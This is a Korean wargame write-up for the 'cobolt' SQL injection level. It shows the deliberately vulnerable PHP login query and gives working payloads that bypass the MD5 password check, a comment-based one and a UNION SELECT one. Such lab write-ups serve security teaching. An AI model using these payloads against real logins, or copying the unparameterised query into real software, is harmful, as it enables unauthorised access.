문제 코드

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id'] == 'admin') solve("cobolt");
  elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>";
  highlight_file(__FILE__);
?>

이번 문제는 단순히 아무 계정으로 로그인하면 되는 것이 아니라, 반환된 idadmin이어야 합니다. pwmd5()로 감싸져 있지만 id에서 문자열을 닫고 뒤 조건을 주석 처리하면 비밀번호 검사를 우회할 수 있습니다.

preg_match() 함수란?

문자열 내에서 특정 패턴을 검색하고 일치하는 부분을 찾는 함수입니다. 일치하면 1, 일치하지 않으면 0이 반환됩니다. preg_match($pattern, $subject, $matches, $flags, $offset)

  • $pattern: 검색할 정규 표현식 패턴
  • $subject: 검색 대상 문자열
  • $matches: 검색 결과를 저장할 배열
  • $flags: PREG_OFFSET_CAPTURE 등 검색 옵션
  • $offset: 검색을 시작할 위치

exploit

주석을 이용한 풀이

?id=admin' -- &pw=

URL 인코딩까지 적용하면 다음처럼 보낼 수 있습니다.

?id=admin%27%20--%20&pw=

최종 쿼리는 아래와 같은 형태가 됩니다.

select id from prob_cobolt where id='admin' -- ' and pw=md5('')

id='admin' 조건만 남고 뒤의 pw=md5(...) 조건은 주석 처리됩니다. 따라서 DB에서 admin 행이 반환되고 solve("cobolt")가 실행됩니다.

UNION SELECT를 이용한 대체 풀이

?id=' union select 'admin' -- &pw=

이 방식은 실제 테이블에서 행을 가져오는 대신 union select 'admin'으로 id 컬럼 위치에 admin 값을 직접 만들어 반환합니다.

배운 내용

  • md5() 같은 해시 함수가 있더라도 쿼리 구조를 끊고 뒤 조건을 주석 처리하면 검증 로직 전체를 우회할 수 있습니다.
  • 클리어 조건이 result['id'] == 'admin'처럼 특정 값 비교라면, 반환되는 컬럼 값을 admin으로 만드는 것이 핵심입니다.
  • UNION SELECT는 기존 조회 결과에 공격자가 만든 행을 추가할 수 있습니다.